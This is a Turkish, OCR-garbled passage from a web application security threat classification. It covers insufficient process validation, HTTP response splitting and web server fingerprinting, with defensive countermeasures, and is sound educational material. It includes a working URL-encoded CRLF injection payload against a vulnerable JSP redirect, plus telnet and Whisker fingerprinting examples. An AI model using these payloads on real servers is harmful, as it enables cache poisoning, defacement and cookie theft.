9.6.4 Yetersiz is Tasdiki (Denetimi)

Yetersiz Is Denetimi bir web sitesinin saldirgana uygulamanin istenilen kontrol akisin1 baypas
edebilmesine veya atlamasina izin verdigi durumdur. Eger kullanici durumu bir is siiresince
denetlenmiyor ve uygulanmiyorsa, web sitesi somiiriilmeye veya dolandiriliciliga agik olabilir.

Bir kullanict belli bir web sitesi fonksiyonunu gergeklediginde, uygulama, kullanicinin agik ve
siral1 bir diziyi izlemesini bekleyebilir. Eger kullanic1 bazi adimlar1 yanlis veya hatali bir sekilde
gergeklerse, bir veri biitlinliigli hatast olusur. Bir ka¢ adimli isler para transferi, parola
kurtarilmasi, satin alma, hesap agma v.b. Orneklerini kapsar. Bu isler biiyiik ihtimalle bazi
adimlarin umuldugu gibi gerceklestirilmesini zorunlu tutacaktir.

Bir c¢ok adimli islerin dogru diiriist calismasi i¢in, web siteler kullanicilarin durumlarini
kullanicilar is akisini gezerken tutmak zorundadirlar. Web siteleri kullanici durumlarini izlemek
icin normal olarak ¢erezler veya gizli HTML alanlarin1 kullanirlar. Ancak, izleme bilgisi istemci
tarafinda tarayicida (browser) tutulursa verinin biitiinliigii denetlenmelidir. Eger denetlenmezse,
saldirgan giincel durumunu degistirerek umulan trafik akisini atlatabilir.

Ornek


http://www.w3.org/TR/2003/WD-turingtest-20031105/

Cevrimici bir alig veris sepeti sistemi, miisterilerine bir A {irlinii satin alindiginda belli bir indirim
saglayabilir. Kullanici, A {riiniinii yerine bir B iiriiniinii almak isteyebilir. Kullanici, sepetini liriin A ve B
ile doldurarak ve hesap kesim islemini gercekleyerek indirimden faydalanabilir. Daha sonra kullanici
hesap kesim isleminden geri ¢ikip, A {iriiniinii sepetten siler veya bir sonraki adimi yollamadan degerleri
degistirir. Kullanici daha sonra tekrar hesap kesim isleminden gecer ve daha Once sepetindeki A
tiriiniinden dolayi indirimden faydalanmisg bir sekilde dolandirilmig bir alim fiyati elde etmis olur.

Referanslar

“Dos and Don'ts of Client Authentication on the Web”, Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT
Laboratory for Computer Science

http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

10 iletisim Bilgileri
Web Application Security Consortium
http://www.webappsec.org

Genel sorular i¢in contact@webappsec.org adresine e-mail atin.

11 Ek

Su anda siniflandiramadigimiz bir cok web uygulama giivenligi saldir1 teknikleri vardir. Ek'te, bu
metodolojilerden bazilarinin 6zetleri vardir. Bu konular Tehdit Siniflandirilmasi'nin ikinci
versiyonunda sistematik bir sekilde ele alinacaktir.

11.1HTTP Cevap Bdéime

HTTP Cevap Bolme saldirisinda her zaman 3 taraf bulunmaktadir:

1. HTTP Cevap Bolme saldirisina olanak saglayacak bir agikligi bulunan “Web Sunucusu”

2. Muhtemelen saldirgan adina web sunucusu ile etkilesen “Hedef”. Tipik olarak bu bilesen bir
cache sunucusu (ileri veya geri vekil (proxy) ) veya bir tarayict olabilir. (muhtemelen bir
tarayici cache'li)

3. Saldiriy1 baglatan bir saldirgan

HTTP Cevap Bolme saldirisinin 6ziinde saldirganin bir HTTP istegi yollamas1 ve web sunucuyu,
hedef tarafindan bir degil iki HTTP cevabi olarak yorumlamasini saglayacak sekilde bir cevap
¢ikt1 akisini olusturmasia zorlamasidir. 11k cevap saldirgan tarafindan belli bir dl¢iide kontrol
edilebilir ama bu ¢ok da énemli degildir. Onemli olan saldirganin ikinci cevaba HTTP durum
satirindan HTTP cevap igeriginin en son byte'ia kadar hiikiim etmesidir. Bu miimkiin oldugunda
saldirgan hedef araciligi ile iki istek yollayarak saldirry1 gergekler. Ilk istek sunucudan iki cevap
tiretir ve ikinci istek tipik olarak web sunucusu iizerindeki masum bir kaynaga yoneliktir. Ancak,

hedef, saldirgan tarafindan tamamen kontrol edilen ikinci cevabi, ikinci istekle eslestirecektir.
Boylece saldirgan hedefi web sunucusu lizerindeki belli bir (ikinci istek tarafindan belirtilen)
kaynagin HTTP cevabi olduguna inandirir. Ama aslinda bu cevap saldirgan tarafindan ikinci
cevap olarak sahte {iretilmistir.

HTTP Cevap Bo6lme saldirilari, sunucu betiginin kullanici verilerini HTTP cevap basliklarinda
kullanmasi ile olusur. Bu durum genellikle betigin kullanicidan gelen verileri, yonlendirme
cevabinin (3xx HTTP durum kodu) yonlendirme URL'lerine veya cevabin gerez parametrelerine
(isim veya deger) gommesi ile olur.



[k durumda yénlendirme URL'si Location HTTP cevap bashiginin bir pargasiyken, ikinci gerez
olusturma durumunda gerez parametreleri (isim veya deger), Set-Cookie HTTP cevap basliginin
bir pargasidir.

Saldirinin 6zii CR ve LF 06zel karakterlerini Oyle bir sekilde enjekte etmektir ki, uygulama
tarafindan bir cevap planlanirken iki HTML mesaj1 tiretilmelidir. CRLF enjeksiyonu, uygulama
tarafindan yollanilan HTTP cevabindaki veriyi degistiren bir ¢ok diger saldirida kullanilan bir
metotdur, ancak bu durumda, kullanilan CRLFlerin rolii biraz daha farklidir. Bu durumda, ilk
HTTP cevabini sonlandirmakta ve (uygulama tarafindan kesinlikle planlanmayan ve saldirgan
tarafindan tamamen kontrol edilen) bir diger HTTP cevabini olusturmakta kullanilirlar.

Bu enjeksiyon (web sunucusu iizerinde ¢alisan) uygulamanin denetlenmeyen kullanict verilerini
bir yonlendirmeye, c¢ereze veya (o veya bu sekilde) kullanict bilgilerinin HTTP cevap
bagliklarinin bir pargasi olacak sekilde gobmmesi ile miimkiindiir.

HTTP Cevap Bolme ile, bir ¢ok degisik ¢esitte saldirilarda bulunmak miimkiindiir:

o Cross-site Scripting (XSS): Su ana kadar, kullanicilar IE kullandiginda bir siteye
yonlendirme yolu ile biitiin Location basliklar1 kontrol edilmeden XSS saldirilarinda bulunmak
imkansiz olmustur. Saldir1 bunu miimkiin kilar.

. Web Onbellek Zehirlemesi (tahrifat): Bu yeni bir saldiridir. Saldirgan hedefi (herhangi bir

onbellek sunucusu - Saldirt Squid 2.4, Netcache 5.2, Apache Proxy 2.0 ve diger bir ka¢ web
onbellek sunucularinda dogrulanmistir.) ikinci cevabi ikinci istege karsilik gelecek sekilde
depolanmasina zorlar. http://web.site/index.html adresine ikinci bir istek gonderip hedefi
(6nbellek sunucusu) saldirgan tarafindan tamamen kontrol edilen ikinci cevabi depolamaya
zorlamak bu duruma bir 6rnektir. Bu, en azindan 6nbellek sunucusunu kullanan diger istemcilerin
tecrilbe edecekleri gibi, bir web sitesi tahrifatidir. Tabi ki, tahrifata ek olarak, saldirgan ayni
zamanda gerezleri ¢alabilir veya ¢erezleri daha 6nceden belirlenmis degerlere esitleyebilir.

. Cross Kullanict saldirilar (tek kullanici, tek sayfa, gegici tahrifat): Saldirinin bir ¢esidi
olarak, ikinci istegin saldirgan tarafindan génderilmemesi de miimkiindiir. Ilk bakista bu garip
karsilanabilir, ama bazi durumlarda, hedef diger kullanicilar ile ayn1 TCP baglantisin1 kullantyor
olabilir (bu durum bazi 6nbellek sunucularinda mevcuttur). Hedef iizerinden web sunucusuna
ikinci istegi yollayan kullanici saldirgan tarafindan iiretilen ikinci cevap ile cevaplandirilacaktir.
Sonu¢ olarak web sitesinin miisterisi saldirgan tarafindan iiretilmis bir kaynak ile servis
edilecektir. Bu durum saldirganin tek bir kullanici tarafindan istenilen tek bir web sayfasini (lokal
ve gecici bir tahrifat) tahrif etmesine olanak saglar. Bir 6nceki madde gibi, tahrifata ek olarak,
saldirgan durum cerezlerini ¢alabilir veya degistirebilir.

. Kullaniciya 6zel veriler iceren sayfalarin ¢alinmasi: Bu saldirt ile, saldirganin kullanici
istegine karsilik gelen sunucu cevabini kullanici yerine almasit miimkiindiir. Bu nedenle, saldirgan
kullanicilarin gizli veya hassas olabilecek 6zel verilerine ulasabilir.


http://web.site/index.html

J Tarayic1 Onbellek Zehirlenmesi: Bu saldirt "Web Onbellek Zehirlemesi" saldirisinin 6zel
bir durumudur (IE 6.0'da dogrulanmistir). XSS'e benzerligi ise her iki saldirida da saldirganin
bireysel istemcileri hedef almas1 gerektigindendir. Ancak, XSS'den farkli olarak, sahte kaynaklar
tarayicinin deposunda kaldigindan, daha uzun siiren etkisi vardir.

Ornek
Asagidaki JSP sayfasini diiiiniin (/redir_lang.jsp sayfanin ismi olsun):

<%

response.sendRedirect("/by lang.jsp?lang="+
request.getParameter("lang"));

%>

/redir_lang.jsp lang=English parametresi ile ¢agrildiginda, /by lang.jsp?lang=English yo6nlendirmesi
gerceklesecektir. Tipik bir cevap asagidaki gibi olur (Kullanilan web sunucusu BEA WebLogic 8.1 SP1'tir
- bu sunucunun biitiin detaylarini1 gérmek i¢in [1]'deki “Lab Environment” bdliimiine bakin):

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Location: http://10.1.1.1/by_lang.jsp?lang=English

Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with

Content-Type: text/html

Set-Cookie:

JSESSIONID=1pMRZ0iOQzZiE6Y 6iivsREg82pq9Bolape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/

Connection: Close

<html><head><title>302 Moved Temporarily</title></head>

<body bgcolor="#FFFFFF">

<p>This document you requested has moved temporarily.</p>

<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>

</body></html>

Gorildiigi gibi, lang parametresi Location cevap basligina gomiilmiistiir. Simdi, HTTP Cevap Bolme
saldirisin1 gergeklemeye geciyoruz. English degerini gondermek yerine gegerli cevabi sonlandiracak URL-
kodlanmig CRLF dizilerini kullanan ve yeni bir cevap olusturan bir deger yollayacagiz.

/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-
Type:%20text/htm1%0d%0aContent-
Length:%2019%0d%0a%0d%0a<htm]>Shazam</htm]>

Bu hareket, web sunucusunun TCP baglantisi iizerinden yollanilan agsagidaki ¢ikti akigina neden
olur.

HTTP/1.1 302 Moved Temporarily



Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<htmI>Shazam</htmI>

Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with

Content-Type: text/html

Set-Cookie:
JSESSIONID=1pwxbgHwzeallFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/

[.]

Agiklama: Bu TCP akis1 hedef tarafindan su sekilde parse edilir. 302 durum kodlu (yonlendirme) ilk
HTTP cevabi. Bu cevap mavi renkte gosterilmistir. 200 durum kodlu ve 19 byte'lik HTML'den olusan
ikinci HTTP cevabi. Bu cevap kirmiziyla gosterilmistir. Luziimsuz veri - ikinci cevabin sonundan sonraki
hersey dnemsizdir ve HTTP standartlarina uymaz.

Oyleyse saldirgan hedefi iki istekle beslediginde, ilk istek asagidaki URL'ye
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</htmI>

ikinci istek ise bu URL'yedir.

/index.html

Hedef, ilk istegin ilk cevaba karsilik geldigine inanacaktir:

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/by_lang.jsp?lang=foobar

Content-Length: 0

Ve ikinci istegin (/index.html) ikinci cevaba karsilik geldigine inanacaktir.
HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Shazam</html>

Ve boylece saldirgan hedefi aldatmay1 basarir.



[1]'de anlatildig1 lizere bu 6rnek gercekten c¢ok basittir. Hedeflerin TCP akislarini nasil parse ettikleri,
liiziimsuz verileri, veri enjeksiyonu hakkindaki problemleri ve depolamanin nasil mecbur kilindig1 gibi
bazi problemleri g6z Oniinde bulundurmaz. Biitiin bunlar (ve daha fazlasi) [1]'de “Practical
Considerations” boliimii altinda anlatilmaktadir.

Coziim

Girdinin gegerliligini denetleyin. Herhangi bir veriyi HTTP basliklarina gémmeden 6nce CR ve LF
karakterlerini (ve diger biitiin tehlikeli karakterleri) yok edin. Buna o&zellikle yonlendirmelerde ve
cerezlerde dikkat edin. CR/LF saldirilarina kars1 korunmak ve uygulamanin yerlestirilmesinden énce bu
tiir giivenlik agiklarinin bulunup bulunmadig1 hakkinda testler i¢in 3. parti tiriinler kullanilabilir.

Ilave oneriler
En giincel uygulama motorunu kullanidiginiza emin olun. Uygulamaniza tek bir IP vasitasi ile ulasildigina
emin olun. (yani sanal hostingde oldugu gibi ayn1 IP adresinin bir bagska uygulama tarafindan da
kullanilmamasi)

Referanslar

[1] “Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics” by Amit
Klein,

http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

[2] “CRLF Injection” by Ulf Harnhammar (BugTraq posting),
http://www.securityfocus.com/archive/1/271515

11.2Web Sunucusu/Uygulamasi Parmak izi Arastirmasi

Web sunucusu/uygulamasi parmak izi arastirmasi, selefi olan TCP/IP parmak izi arastirmasina
(Bugiinlin en popller tarama aract olan Nmap gibi) benzer. Aralarindaki fark web
sunucusu/uygulamasi parmak izi arastirmasinin OSI modelinde Transport katmaninin yerine
Uygulama katmanina odaklanmis olmasidir. Web sunucusu/uygulamasi parmak izi arastirmasinin
arkasindaki teori asagida siralananlari analiz ederek hedef yazilimi, konfigiirasyonlari ve
muhtemelen network ag1 yapilari/topolojisi hakkinda dogru bir profil ortaya koymaktir:

HTTP Protokoliiniin implementasyon farkliliklari

HTTP Cevap basliklar

Dosya uzantilar1 (.asp ve .jsp gibi)

Cookiler (ASPSESSIONID)

Hata sayfalar1 (Kurulum ile beraber gelen)

Dizin yapilar1 ve isimlendirmeleri (Windows/Unix)

Web Gelistirici ara yiizleri (Frontpage/WebPublisher)

Web Yonetici ara yiizleri (iPlanet/Comanche)

Isletim sistemi parmak izi arastirmasi uyusmazliklari (Linux {izerinde 11S?),

Saldirganlar i¢in amag hedef web olgusunun ayak izini ¢ikarmak ve miimkiin oldugunca bilgiyi
ortaya ¢ikarmaktir. Bu bilgi ile, saldirgan, hedefin kullandigi yazilimin versiyonunda/tipinde
bulunan aciklig1 gercekleyebilen dogru bir saldir1 senaryosu gelistirebilir.

Bu bilgiyi dogru olarak ortaya ¢ikarmak c¢ok onemlidir ¢iinkii giivenlik agiklikliklarin biiyiik
boliimii (ara bellek tagsmasi, v.b.) belli yazilim saglayicilarina ve versiyon numaralarina biiyiik



Ol¢iide baglidir. Buna ek olarak, yazilim versiyonlarint dogru olarak belirlemek ve uygun agiklik
gerceklemesini segmek saldirinin ¢ikaracagi "kalabaligl" azaltacag: gibi etkisini arttiracaktir. Bu
nedenledir ki, kendisini agik¢a tanimlayan bir web sunucusu/uygulamasi belaya davetiye
cikarmaktadir.

Aslinda, HTTP RFC 2086 tam da bu meseleden so6z eder ve web yoneticilerini HTTP
cevabindaki “Server:” basliginda gosterilen yazilim versiyonunu gizlemeleri hakkinda uyarir:

“Not: Sunucunun yazilim versiyonunu belli etmek bilinen agikliklar1 bulunan yazilimlari
saldirilara kars1 daha fazla agik kilar. Sunucu saglayicilar1 bu alani konfigiire edilebilir sekilde
hazirlamaya cesaretlendirilmektedir.”

Diger bilgi ifsa kategorileri tarafindan toplanilan bilgiler ile hedef tarafindan kullaniliyor olan
web sunucularin/uygulamalarin versiyon ve tiirlinli ¢ikarmak miimkiin oldugu gergegi dolayisiyla
burda sadece giiniimiiziin web parmak izi arastirma araglarinin kullandigit HTTP Protokolii
implementasyonu analizine odaklanacagiz.

Ornekler
Asagidaki biitiin 6rnekler hedef web sunucularinin iirettikleri ve yorumladiklart HTTP isteklerinin analiz
tekniklerini gostermektedir.

HTTP Protokoliiniin implementasyon farkliliklar
1. Leksikal - Leksikal karakteristik kategorileri kullanilan kelimeler/tabirler, gosterilen HTTP Cevap
Basliklarindaki kullanilan biiyiik/kii¢iik harf ve noktalamalar arasindaki farkliliklar igerir.

2. Cevap Kodu Mesajlar1 - 404 hata kodunda, Apache "Not Found" mesajimni bildirirken, Microsoft
11S/5.0 "Object Not Found" mesajini bildirir.

Apache 1.3.29 - 404
Microsoft-11S/4.0 - 404

# telnet targetl.com 80

Trying targetl.com...

Connected to targetl.com.

Escape character is '"*]".

HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Not Found

Date: Mon, 07 Jun 2004 14:31:03 GMT
Server: Apache/1.3.29 (Unix) mod perl/1.29
Connection: close

Content-Type: text/html; charset=iso-
8859-1

Connection closed by foreign host.

# telnet target2.com 80
Trying target2.com...
Connected to target2.com.
Escape character is ']'.



HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-11S/4.0

Date: Mon, 07 Jun 2004 14:41:22 GMT
Content-Length: 461

Content-Type: text/html

Connection closed by foreign host.
3. Bagliklarda Kullanilan Kelimeler - "Content-length" yerine geri doniilen "Content-Length" basligi.

Netscape-Enterprise/6.0 - HEAD
Microsoft-11S/4.0 - HEAD

# telnet targetl.com 80

Trying targetl.com...

Connected to targetl.com.
Escape character is ']'.

HEAD /HTTP/1.0

HTTP/1.1 200 OK

Server: Netscape-Enterprise/6.0

Date: Mon, 07 Jun 2004 14:55:25 GMT
Content-length: 26248

Content-type: text/html

Accept-ranges: bytes

Connection closed by foreign host.
# telnet target2.com 80

Trying target2.com...

Connected to target2.com.

Escape character is ']".

HEAD /HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-11S/4.0

Date: Mon, 07 Jun 2004 15:22:54 GMT
Content-Length: 461

Content-Type: text/html

Connection closed by foreign host.
4. Sozdizimi - HTTP RFC tarafindan, biitiin web haberlesmelerinde haberlesen partilerin birbirlerini
anlamalar1 i¢in 6nceden belirlenmis yapilar ve olusumlarin kullanilmasi zorunlu tutulur. Yine de

HTTP Cevap bagliklarinin sirasinda ve formatinda farkliliklar vardir.

5. Baglik Siralamasi - Apache sunucular siirekli olarak "Date" basligimi "Server" basligindan o6nce
yerlestirirken Microsoft-IIS bu bagliklari ters sirada yerlestirir.

Apache 1.3.29- HEAD
Microsoft-11S/4.0 - HEAD



# telnet targetl.com 80
Trying targetl.com...
Connected to targetl.com.
Escape character is ']".
HEAD /HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 07 Jun 2004 15:21:24 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Content-Location: index.html.en

Vary: negotiate,accept-language,accept-charset
TCN: choice

Last-Modified: Fri, 04 May 2001 00:00:38 GMT
ETag: "4de14-5b0-3af1f126;40ad4ed5d"
Accept-Ranges: bytes

Content-Length: 1456

Connection: close

Content-Type: text/html

Content-Language: en

Expires: Mon, 07 Jun 2004 15:21:24 GMT

Connection closed by foreign host.
# telnet target2.com 80

Trying target2.com...

Connected to target2.com.

Escape character is '"*]".

HEAD /HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-11S/4.0

Date: Mon, 07 Jun 2004 15:22:54 GMT
Content-Length: 461

Content-Type: text/html

Connection closed by foreign host.

6. List metodu Siralamasi - Bir HTTP isteginde OPTIONS metodu yollandiginda, istenilen URL i¢in izin
verilen metodlar "Allow" baslig1 i¢inde doniiliir. Apache sadece "Allow" basligini donerken, IIS
ayrica "Public" bagligini da igerir.

Apache 1.3.29- OPTIONS
Microsoft-1IS/5.0 - OPTIONS
# telnet targetl.com 80
Trying targetl.com...
Connected to targetl.com.
Escape character is ']".
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004 16:21:58 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29



Content-Length: 0

Allow: GET, HEAD, OPTIONS, TRACE
Connection: close

Connection closed by foreign host.
# telnet target2.com 80

Trying target2.com...

Connected to target2.com.

Escape character is '"*]".

OPTIONS * HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Date: Mon, 7 Jun 2004 12:21:38 GMT

Content-Length: 0

Accept-Ranges: bytes

DASL: <DAV:sql>

DAV: 1,2

Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Cache-Control: private

Connection closed by foreign host.

7. Semantic - HTTP cevabinda doniilen kelimeler ve ibarelerin yani sira, dogru ve yanlis olusturulmus
isteklerin yorumlarinda belirgin farkliliklar vardir.

8. Belli basliklarin bulunmasi - Bir sunucu, cevabinda istedigi basligi kullanabilir. Bazi basliklar
spesifikasyon tarafindan zorunlu tutulmuslarsa da, bir ¢ok baglik (mesela ETag) opsiyoneldir.
Asagidaki orneklerde, Apache sunuculari cevap basliklarinda IIS tarafindan kullanilmayan su ilave
kayitlari igerir; ETag, Vary ve Expires.

Apache 1.3.29- HEAD
Microsoft-11S/4.0 - HEAD
# telnet targetl.com 80
Trying targetl.com...
Connected to targetl.com.
Escape character is '"*]".
HEAD /HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 07 Jun 2004 15:21:24 GMT

Server: Apache/1.3.29 (Unix) mod _perl/1.29
Content-Location: index.html.en

Vary: negotiate,accept-language,accept-charset
TCN: choice

Last-Modified: Fri, 04 May 2001 00:00:38 GMT
ETag: "4de14-5b0-3af1f126;40a4ed5d"
Accept-Ranges: bytes



Content-Length: 1456

Connection: close

Content-Type: text/html
Content-Language: en

Expires: Mon, 07 Jun 2004 15:21:24 GMT

Connection closed by foreign host.
# telnet target2.com 80

Trying target2.com...

Connected to target2.com.

Escape character is ']'.

HEAD /HTTP/1.0

HTTP/1.1 404 Object Not Found
Server: Microsoft-11S/4.0

Date: Mon, 07 Jun 2004 15:22:54 GMT
Content-Length: 461

Content-Type: text/html

Connection closed by foreign host.

9. Normal olmayan Cevap Basliklar1 - Ayni istekler hedef web sunucularina génderilse de, yorumlar
farkli olabilir ve bu yiizden degisik cevap kodlar1 iiretilebilir. Bu anlamsal (semantik) farkliliga en iyi
ornek Whisker tarayici aracinin kullandigi "Light FingerPrinting" kontroliidiir. Whisker 2.1'in
main.test dosyasindan alinan asagidaki Perl kodu boliimii, hedef sunucunun Apache olup olmadigini
anlamak igin banner'lerinde goriilen bilgilerden bagimsiz olarak iki test kosar. Ilk istek "GET //"
istegidir ve eger cevap HTTP durum kodu 200 ise, ikinci istek yollanir. Ikinci istek URL kodlanmis ve
"GET //" olarak ¢evrilen "GET /%2f"dir. Bu sefer Apache sunucusu, 404 - Not Found hatas1 doner.
Diger web sunuculari (IIS) bu tiir istekler i¢in ayni durum kodunu (404) dénmez.

# now do some light fingerprinting...
-- CUT --
my $Aflag=0;
$req{whisker}->{uri}="/";
if(!_do_request(\%req,\%G_RESP)){
_d response(\%G_RESP);
if($G_RESP {whisker}->{code}==200){
$req {whisker}->{uri}="/%2f";
if(!_do_request(\%req,\%G_RESP)){
_d _response(\%G_RESP);
$Aflag++ if(§G_RESP{whisker}->{code}==404);
oo

m_re_banner('Apache',.$Aflag);

Hedef siteye karst Whisker kosuldugunda, 6n testler 1g1ginda web sunucusunun Apache sunucusu oldugu
rapor edilir. Asagidaki 6rnek Whisker raporundan bir boliimdiir;

Title: Server banner
1d: 100



Severity: Informational
The server returned the following banner:
Microsoft-11S/4.0

Title: Alternate server type

Id: 103

Severity: Informational

Testing has identified the server might be an 'Apache' server. This Change could be due to the server not
correctly identifying itself (the Admins changed the banner). Tests will now check for this server type as
well as the previously identified server types.

Bu rapor saldirgana, sadece sunucu yoneticilerinin web bannerlarin1 degistirecek kadar becerikli
olduklarin1 gostermez aynmi zamanda Whisker raporun dogrulugunu giiclendirebilecek diger Apache
testlerini de taramasina ekleyecektir.

Coziimler

Web sunucunuz tarafindan saglanan tanimlayici biitiin verileri kaldirmak miimkiin degildir. Ger¢ek sudur
ki, kararlt bir saldir1 web sunucu yaziliminizi tanimlayabilecektir. Amaciiz kesif barin1 olabildigince
yukariya ¢ekerek saldirganin giivenlik tehlike alarmlarini tetikleyecek kadar fazla ugrasmasini saglamak
olmalidir. Asagidaki adimlar bu is i¢in yardimci olacaktir. Oneriler uygulanmas: kolaydan zora dogu
siralanmuglardir.

1. Sunucu Banner Bilgisinin Degistirilmesi

Web sunucusunun cevap basliklarindaki "Server" alani tarafindan gosterilen bilgiyi degistirmek (aldatma
amacl) miimkiindiir. HTTP Server alanin1 degistirmek ile kazanilacak giivenlik hakkinda web giivenlik
cevrelerinde bir ¢ok tartigma olmustur. Sadece banner bilgisinin degistirilmesi ve yazilim versiyonunu
gizleyici diger oOnleyici faktorlerin uygulanmamasi1 kesfi diizenleyen gergcek insanlara karsi etkili
olmamakla beraber, otomatiklestirilmis WORM (solucan) programlarina karsi yardimeci olur. Cok
miktarda sistemi enfekte etmek i¢in kullanilan solucanlarin gittik¢e artan popiilerligi nedeniyle web
sunucularin bu sekilde korunmasi hayati 6nem tasir. Bu adim organizasyonlara yama iiretilme siiresinde
yeni ¢ikacak ve banner bilgisine gore hareket eden solucanlara kars1 zaman kazandirir.

e Apache Sunucular1 - Modsecurity'nin Server banner bilgisini Apache kodunun derlemeden once
degistirilmesi yerine httpd.conf dosyasini edit?? ederek degistirmesini saglayan SecServerSignature
ayar1 vardir.

e [IS Sunucular - [ISLockDown ve URLScan araglarini kurarak, istemcilere déonen banner bilgisini
degistirebilirsiniz.

2. Bagliklardaki Bilgi Detayinin Minimize Edilmesi
Cevap bagliklarinda doniilen bilgi miktarin1 kisitlayin. Mesela, Apache ServerTokens direktifini
kullanarak Server banner alanindaki bilginin detaylarimin kontrol edilmesini saglar:

ServerTokens Prod[uctOnly]

Server sends (e.g.): Server: Apache
ServerTokens Min[imal]

Server sends (e.g.): Server: Apache/1.3.0
ServerTokens OS

Server sends (e.g.): Server: Apache/1.3.0 (Unix)
ServerTokens Full (or not specified)



Server sends (e.g.): Server: Apache/1.3.0 (Unix) PHP/3.0 MyMod/1.2
Basliklar1 minimize ederek, ek olarak kurulmus Apache modiilleri gibi bilgileri gizleyebilirsiniz.

3. Sahte Bagliklar Olusturun

Web sunucu parmak izi arastirmasini engelleyici/sasirtici alternatif tekniklerden bir tanesi sahte bir web
topolojisi olusturmaktir. Saldirganlar genellikle banner elde etme teknigi oturumlarini Parmak izi
arastirmast isinin bir pargasi olarak kullanirlar. Parmak Izi arastirmasinda saldirgan hedefin genel yapisini
tanimlamaya calisir. ilave olarak eklenen sahte basliklar ile karmasik bir web yapisi simule edilebilir
(Mesela bir DMZ). Ek bagliklar eklenerek sahte bir geri vekilin (reverse proxy) oldugu simule edilebilir.

Bu isi bagarmak i¢in Apache sunucularinda httpd.conf dosyasina asagidaki kayitlar eklenebilir;

_ Header set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)"

_ ErrorHeader set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLEG6)"
_ Header set X-Cache "MISS from www.nonexistenthost.com"

_ ErrorHeader set X-Cache "MISS from www.nonexistenthost.com"

Bu kayitlar asagida gosterildigi gibi "Via" ve "X-Cache" ibarelerini biitiin HTTP cevap bagliklarina ekler:

# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.

Escape character is ']".
HEAD /HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-11S/4.0

Date: Sun, 30 Mar 2003 21:59:46 GMT

Content-Location: index.html.en

Vary: negotiate,accept-language,accept-charset

TCN: choice

Via: 1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)
X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673

Connection: close

Bu durum sanki Squid Proxy sunucusu kullandigimizi ve web verilerini olmayan bir sunucudan
sundugumuzu gosterir. Bu durum saldirgant ya Apache sunucumuza (tabi ki basarisiz olacak) Squid
saldirilarimi uygulamaya ya da olmayan ve X-Cache baglhiginda belirtilen bilesene saldir1 yapmaya sevk
eder.

4. Ugiincii Parti Web Giivenlik Araglarini Kurulumu

Modsecurity veya ServerMask gibi ek iicilincii parti web giivenlik araglarii kurarak HTTPrint gibi
glinlimiiz web sunucu parmak izi aragtirma araclarini sasirtmak veya tamamen egale etmek miimkiindiir.
Yukaridaki 6rnek boliimiinde anlatildigi gibi bu tiir araglar hedef web sunucularini bir ¢ok istege bogacak
ve belli cevaplar iiretmeye zorlayacaklardir. Asagida HTTPrint tarafindan {iretilen bazi anormal istekler
bulunmaktadir:

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "JUNKMETHOD / HTTP/1.0" 501
344 H_H H_H


http://www.nonexistenthost.com/

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET / JUNK/1.0" 400 381 "-"

nn

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "get / HTTP/1.0" 501 330 "-"

n_n

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET / HTTP/0.8" 200 1456 "-"

nn

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET / HTTP/1.2" 200 1456 "-"

n_n

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET / HTTP/3.0" 200 1456 "-"

nn

192.168.139.101 - - [08/Jun/2004:11:21:40 -0400] "GET /../... HTTP/1.0" 400 344

nnnmn

Eger Apache sunucular1 i¢in ModSecurity gibi bir ara¢ implement etmek istersek bu anormal istekler
nedeniyle tetiklenecek HTTP RFC uyumlu filtreler iiretebiliriz. Iste kullanilabilecek ModSecurity
httpd.conf kayitlar:

